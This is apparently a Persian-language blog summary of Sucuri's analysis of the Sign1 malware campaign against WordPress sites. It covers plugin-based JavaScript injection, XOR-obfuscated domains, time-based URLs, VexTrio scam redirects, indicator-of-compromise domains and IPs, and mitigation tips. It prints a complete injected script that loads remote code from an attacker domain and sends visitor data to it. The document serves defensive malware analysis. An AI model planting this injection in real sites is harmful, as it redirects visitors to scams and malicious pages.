اخیرا یکی از کلاینت های وردپرسی Sucuri بهشون مراجعه کرده و اعلام کرده که سایتشون یسری پاپ آپ بصورت تصادفی به بازدیدکنندگان نشون میده. محققا اومدن این مورد رو بررسی کردن و متوجه شدن که یه تزریق جاوااسکریپت جالب در سایت رخ داده و با یک کمپین بدافزاری بزرگ روبرو هستن. محققا اسم این بدافزار رو Sign1 گذاشتن.
در این پست به بررسی گزارش محققای Sucuri از شاخص های متداول این بدافزار پرداختیم که طبق گزارش SiteCheck ، بیش از 2500 سایت در دو ماه اخیر بهش، آلوده شدن. همچنین تکنیک های مبهم سازی، روش های شناسایی و کاهش این تهدید رو هم ارائه دادیم.
شناسایی منبع:
محققا در قدم اول ، اومدن فایل سیستم رو با هدف بررسی یکپارچگی فایلها بررسی کردن، چون معتقدند که یکی از جنبه های مهم امنیت وب، بررسی یکپارچگی فایلها هستش. برای این کار یه اسکنی رو ،روی فایلهای تغییر کرده یا مواردی که جدیدا اضافه شده انجام دادن. این رویکرد میتونه به شناسایی بدافزارها، بخصوص بدافزارهایی که در این گزارش بررسی شدن، کمک کنه.
با بررسی لاگ های وب سایت، متوجه تغییرات در پلاگین زیر شدن:
افزونه هایی که امکان درج کدهای جاوااسکریپت و CSS دلخواه رو به سایتها میدن، برای صاحبان سایتها و توسعه دهندگان میتونن مفید باشن، اما امکان سوء استفاده به مهاجمان رو هم میدن. با توجه به اینکه این نوع افزونه ها امکان افزودن هر کد دلخواه رو میدن، بنابراین مهاجمین از اونا برای درج پیلودهای مخرب یا اسپم استفاده میکنن.
محققا با بررسی تنظیمات افزونه متوجه شدن که آلودگی در پلاگین Custom CSS & JS قرار داره:
اینکه مهاجمین اومدن این افزونه رو هدف قرار دادن، برای محققین تعجب آور نبوده، اما عملکرد خلاقانه اون برای محققا جالب بوده .
آنالیز بدافزار Sign1 :
در ادامه محققا اومدن این کد جاوااسکریپت رو بررسی کردن.
Time-based randomization :
اولین چیزی که در این کد به غیر از اسم های عجیب و غریب متغیرها به چشم میخوره، استفاده از تابع Date.now در اوایل کد هستش.
1 2 |
var _e1bb44 = Date.now(); var _e5dd72 = 1000; |
این کد، زمان کنونی رو در قالب Unix epoch میگیره که بصورت تعداد میلی ثانیه های گذشته از یک ژانویه 1970 بیان میشه که یه Timestamp نسبتا محبوب هستش. یعنی مثلا اگه بخواین 2024/3/23 و ساعت 17:15:01 GMT رو نشون بدیم ، در این فرمت بصورت 1711214101 نمایش داده میشه. برای تبدیل این نوع فرمت زمانی میتونید از این سایت استفاده کنید.
بعد از بدست آوردن زمان کارهای زیر رو انجام میده :
- میلی ثانیه رو به ثانیه تبدیل میکنه
- در ادامه اونو بصورت فریم های 10 دقیقه ای تراز میکنه. مثلا بجای 45-24-11 14-3-2024 از 00-20-11 14-3-2024 استفاده میکنه.
- در ادامه عدد رو به رشته های هگزادسیمال تبدیل میکنه.
این رشته ها نقش تایید اعتبار رو بازی میکنن. URLهایی که رشته زمان بندی اشتباه یا قدیمی دارن، پاسخ خالی برمیگردونن. این رشته های ایجاد شده بعنوان بخشی از یک فایل جاوااسکریپتی که از یک دامنه ی شخص ثالث درخواست میشن هم استفاده میشن که در ادامه بررسی میشن.
انکدینگ XOR :
این تزریق ، از یک آرایه عددی برای انکدینگ XOR استفاده میکنه :
1 |
var _542484 = [40606, 40587, 40589, 40601, 40644, 40601, 40606, 40579, 40585, 40577, 40582, 40581, 40587, 40590, 40591, 40600, 40644, 40579, 40580, 40588, 40581]; |
انکدینگ XOR بدلیل سادگی اغلب توسط بازیگران تهدید مورد استفاده قرار میگیره. در این انکدینگ اگه مقدار کلید رو بدونید، مهندسی معکوس اون ساده تر میشه. در مورد این نمونه، مقدار کلید 40682 هستش.
اگه مقادیر رو به کاراکترهای قابل درک توسط انسان تبدیل کنیم، با دامنه ی زیر روبرو میشیم :
1 |
tags[.]stickloader[.]info |
که اگه رکوردهای WHOIS مرتبط با دامنه رو بگیریم، متوجه میشیم که، این اواخر ثبت شده :
1 2 3 4 5 6 7 8 |
whois stickloader[.]info Domain Name: stickloader[.]info Registry Domain ID: 8096961132ea4908874258733ead3c8e-DONUTS Registrar WHOIS Server: whois.namesilo.com Registrar URL: http://www.namesilo.com Updated Date: 2024-03-11T10:22:13Z Creation Date: 2024-03-06T10:21:58Z |
تغییر داینامیک URLها :
این همه کار برای چیه؟ با استفاده از این کد جاوا اسکریپت ، خروجیهایی بصورت URL بدست میاد که هر 10 دقیقه تغییر میکنن و در مرورگر بازدیدکنندگان اجرا میشن. در حقیقت این کد باعث تغییر داینامیک URLها میشه. این کار منجر به ریدایرکتهای ناخواسته و نمایش تبلیغات برای بازدیدکنندگان سایت میشه. نتیجه به شکل زیر هستش (مقدار hexstring همون مقداری هست که بالاتر توضیح داده شد) :
1 |
hxxps://tags[.]stickloader[.]info/mount.<hexstring>.js |
محققا تونستن یکی از این URLها رو بازسازی کنن و کد شخص ثالثی که سایت میده رو بدست بیارن :
محققا اومدن این کد رو تر و تمیز کردن ، که شده کدهای زیر :
یکی از موارد جالب در این کد اینه که، کد میاد بررسی میکنه که آیا بازدید کننده از سایتهای مهمی مثله گوگل، فیسبوک، یاهو، اینستاگرام و غیره اومده یا نه. اگه referrer یکی ازاین سایتهای مهم نباشه، بدافزار اجرا نمیشه. این یکی از ویژگی های رایج بدافزار هستش ، بدلیل اینکه صاحبان سایتها بصورت مستقیم به سایتهاشون مراجعه میکنن نه از طریق موتورهای جستجو، این ویژگی باعث میشه تا آلودگی برای مدت طولانی تره مورد توجه قرار نگیره.
ریدایرکتها به دامنه های VexTrio هدایت میشن (utm_campaign=INccHxHRWrew3TQsLBbfNm9evGnSUiq74xfziBRgaq81) و در نهایت به سایتهای کلاهبرداری مانند “Click to verify that you’re not a robot” ختم میشن:
در دنیای امنیت سایبری، برخی مجرمین محصولات و سرویس های خودشون رو در بعنوان یک مدل درآمدزایی در اختیار بقیه مجرمین قرار میدن. مثلا مجرمین با راه اندازی بدافزار بعنوان سرویس (MaaS) ، بدافزارهاشون رو به ازای مبلغی در اختیار بقیه هکرها قرار میدن. یکی از خدماتی که مجرمین به بقیه هکرها میدن، سرویس TDS هستش که VexTrio یکی از ارائه دهندگان معروف این سرویس هستش.
اصطلاح TDS یا Traffic Distribution System یا Traffic Delivery System یک اصطلاح بازاریابی هستش که شرکتهای بزرگ ازش توزیع ترافیک استفاده میکنن. هدف این سرویس این هستش که براساس محل جغرافیایی، نوع مرورگر، نوع دستگاه و پارامترهای مختلف، بازدید کننده رو به صفحه ای هدایت کنه که برای صاحب کسب و کار بیشترین سود رو داشته باشه. مثلا شما فرض کنید از ایران وارد سایت آمازون میشید و آمازون برای اینکه محصولی رو برای شما بفروشه، مثلا شما رو به صفحه فروش قالی ایرانی هدایت میکنه.
مجرمین سایبری هم اومدن از این ویژگی استفاده کردن و سرویس هایی رو بالا آوردن که میتونن براساس پارامترهای مختلف مثلا سیستم عامل، بازدید کننده رو به صفحه مناسبی هدایت میکنن و مثلا بدافزار متناسب با سیستم عامل بازدید کننده ارائه میدن یا براساس جغرافیای بازدید کننده تبلیغات هدفمند ارائه میدن.
یکی از ارائه دهندگان این سرویس VexTrio هستش که از سال 2017 فعاله و به گفته ی Infoblox بیش از 70 هزار دامنه شناخته شده داره. شکل زیر مدل درآمدزایی VexTrio رو نشون میده:
برگردیم سر بدافزار Sign1، کد بالا همچنی یک کوکی خاص ، f084 ، هم تنظیم میکنه و اگه از قبل در درخواست باشه، اجرا نمیشه. یعنی به ازای هر بازدید کننده ، فقط یکبار ، پاپ آپ رو نمایش میده.
شرایط کلی برای اجرا بصورت زیر هستش :
- referrer درست (گوگل، فیسبوک و … )
- کوکی ،f084 ، در مرورگر تنظیم نشده باشه
- رشته ی هگزادسمیال درست در نام فایل جاوااسکریپت باشه.
اگه همه این شرایط درست باشه، بدافزار تزریق شده و یک اسکریپت دیگه رو از سایت زیر اجرا و آدرس صفحه فعلی ، referrer و زبان مرورگر رو بعنوان پارامتر در قالب base64 می فرسته. این اسکریپت بعنوان TDS عمل میکنه و بازدیدکنندگان رو به سایتهای مخرب، معمولا سایتهای کلاهبرداری VexTrio ، هدایت میکنه.
1 |
https://tags.stickloader[.]info/my/pack.js |
تاریخچه کمپین Sign1 :
بدافزاری که در این گزارش بررسی شد، متعلق به یک کمپین کمتر شناخته شده اما گسترده هستش که محققای Sucuri و GoDaddy Infosec اونو با نام Sign1 می شناسن.
در 6 ماه گذشته ، اسکنر ، این بدافزار رو در 39 هزار سایت با عنوان *.malware.injection?193 شناسایی کرده. موردی که در این گزارش بررسی شد با عنوان malware.injection?193.7 شناسایی میشه و در دو ماه اخیر در بیش از 2500 سایت شناسایی شده.
علت نامگذاری هم این بوده که وقتی در نیمه ی دوم 2023 این بدافزار رو کشف کردن، متوجه پارامتر Sign1 با مقادیر انکد شده با base64 شدن.
1 2 3 |
<div class="textwidget custom-html-widget"><script type="text/javascript" sign1="anMuYWJjLWNkbi5vbmxpbmUv"> !function(e,t){const n="search_active",r=document.cookie;document.cookie=n+"=1;path=/";const o=document.referrer&&document.referrer.split("/").length>2?document.referrer.split("/")[2]:document.referrer;if(!o||-1!=r.indexOf(n))return;if(-1==o.indexOf("google.")&&-1==o.indexOf("bing.")&&-1==o.indexOf("facebook."))return;const c=atob(document.currentScript.attributes.getNamedItem("sign1").value);document.currentScript.attributes.removeNamedItem("sign1"),(t=e.createElement("script")).type="text/javascript",t.async=!0;let i=[];i.u=window.location.href,i.r=document.referrer,i.l=window.navigator.language,t.src="https://"+c+"?"+btoa(function(e){const t=[];for(let n in e)t.push(encodeURIComponent(n)+"="+encodeURIComponent(e[n]));return t.join("&")}(i)),e.getElementsByTagName("head")[0].appendChild(t)}(document); </script></div> |
پارامتر sign1 برای استخراج و دیکد نام دامنه یک URL مخرب شخص ثالث استفاده میشه. در نمونه بالا ، js.abc-cdn[.]online بوده اما محققا شاهد 3 تغییر در دامنه بین 31 جولای 2023 تا 22 سپتامبر 2023 هم بودن.
در اکتبر 2023، مهاجمین مبهم سازی رو تغییر دادن و پارامتر sign1 رو حذف کردن. اما هنوز معلوم بود که این همون بدافزاره و بنابراین محققا همچنان اونو با Sign1 می شناسن.
با تغییر مبهم سازی، مهاجمین از Timestampهای 10 دقیقه ای در URLها استفاده کردن که در این پست توضیح داده شد. آدرس های جدید بصورت زیر هستن :
1 |
load.365analytics[.]xyz/my.counter.1710313200.js?ver=65f15aa8 |
برای اینکه مطمئن بشن، URLها دستکاری نشدن، Timestamp هارو هم بصورت دسیمال 1710313200 و هم بصورت هگزادسیمال 65f15aa8 استفاده میکنن. از اون زمان، همه ی اسکریپت های تزریق شده از این ترفند استفاده میکنن.
دامنه های Sign1 :
جدول زیر نشون دهنده ی ، نام دامنه های ثبت شده در حملات مختلف این کمپین ،به همراه تاریخ ثبت دامنه و کوئری های PublicWWW (برای مشاهده ی سایر موتورهای جستجو مختص محققین امنیت سایبری، میتونید از این لینک استفاده کنید.) هستش که به شناسایی تعداد سایتهای آلوده میتونه کمک کنه. همچنین ستون آخر تارگت های ایرانی این کمپین (سایتهای ایرانی که از ir. استفاده میکنن) رو نشون میده.
Domain | Registration Date | PublicWWW Detections | Iran(.ir) |
js.abc-cdn[.]online | 2023-07-31 | 1873 sites | 3 |
spf.js-min[.]site | 2023-09-07 | 581 sites | 1 |
cdn.jsdevlvr[.]info | 2023-09-18 | 245 sites | 0 |
cdn.wt-api[.]top | 2023-09-22 | 316 sites | 1 |
load.365analytics[.]xyz | 2023-10-17 | 2790 sites | 7 |
stat.counter247[.]live | 2023-10-18 | 1089 sites | 7 |
js.opttracker[.]online | 2023-10-19 | 1485 + 3667 sites | 18+1 |
l.js-assets[.]cloud | 2023-10-25 | 4445 sites | 27 |
api.localadswidget[.]com | 2023-11-24 | 1229 sites | 6 |
page.24supportkit[.]com | 2023-12-05 | 2163 sites | 5 |
streaming.jsonmediapacks[.]com | 2023-12-29 | 1291 sites | 0 |
js.schema-forms[.]org | 2024-01-18 | N/A | N/A |
stylesheet.webstaticcdn[.]com | 2024-02-05 | N/A | N/A |
assets.watchasync[.]com | 2024-02-22 | N/A | N/A |
tags.stickloader[.]info | 2024-03-06 | N/A | N/A |
در ابتدا دامنه ها در سرور Namecheap 162.0.228.112 میزبانی میشدن. در ادامه مهاجمین از یک سرور در HETZNER (5.75.230.95, 95.217.217.254, 128.140.70.175) و برای مخفی کردن مکان سرور از Cloudflare استفاده کردن.
ابزارک های HTML سفارشی:
بسیاری از تزریق ها در ابزارکهای HTML سفارشی وردپرس پیدا شدن که مهاجمین به وب سایتهای هک شده اضافه کردن. ابزارک ها (widget) فقط حاوی اسکریپت های مخرب هستن ، بنابراین معمولا در صفحات وب قابل مشاهده نیستن. مهاجمین اغلب یک پلاگین قانونی Simple Custom CSS and JS رو نصب و کدهای مخرب رو با استفاده از اون به سایتها اضافه میکنن.
با استفاده از این روش، چون کد مخربی در فایلهای سرور قرار نمیگیره، و با توجه به اینکه اغلب ارائه دهندگان امنیتی تمرکزشون روی فایلهاست تا دیتابیس، در نتیجه بدافزار مدت طولانی میتونه مخفیانه اجرا بشه.
موج حملات تزریق و پلاگین Simple Custom CSS and JS :
اگه تاریخ ایجاد دامنه ها رو با زمان دانلود پلاگین Simple Custom CSS and JS مقایسه کنید، متوجه جهش قابل توجه دانلود این پلاگین (2 هزار تا 5 هزار دانلود بیشتر) در اون بازه های زمانی میشید.
نقاط اوج نمودار نشون میده ،در حالیکه اولین دامنه شناخته شده، abc-cdn[.]online در 31 جولای 2023 ثبت شده، مهاجمان ده روز بعدش ، 9 آگوست 2023، شروع به تزریق کدهای مخرب با استفاده ی از پلاگین Simple Custom CSS and JS کردن. اما بعدش ، زمان بین ثبت دامنه مخرب و افزایش دانلودها کمتر میشه.
احتمالا متوجه شدید که یک روز قبل از ثبت دامنه ها، برخی نقاط اوج ظاهر شدن. این میشه با اختلاف زمانی یا اینکه مهاجمین اول میان پلاگین رو نصب میکنن و بعدش در مرحله ی دوم کدهای مخرب رو تزریق میکنن، توصیف کرد.
محافظت از سایتها در برابر ریدایرکتهای ناخواسته:
این یه نمونه دیگه ای از اینه که، چرا ایمن سازی پنل مدیریت و استفاده از ابزارهای مونیتورینگ سایتها، باید اولویت اصلی صاحبان وب سایتها باشه. در این مورد سایت از افزونه ی WordPress Activity Log استفاده میکرد و محققا با کمک اون تونستن برخی فعالیت های مشکوک رو در پنل مدیریت که علت اصلی این رخداد بود رو پیدا کنن.
این آلودگی بعد از تعداد زیادی لاگین ناموفق که از تعداد زیادی IP ،ارسال شده رخ داده که نشون دهنده یک حمله ی موفق بروت فورس هستش.
برای کاهش خطرات:
- میتونید این راهنما رو مطالعه کنید.
- همه ی نرم افزارهای وب سایت رو به آخرین نسخه بروز کنید.
- از یک فایروال وب برای مسدود کردن باتهای مخرب و حملات بروت فورس استفاده کنید.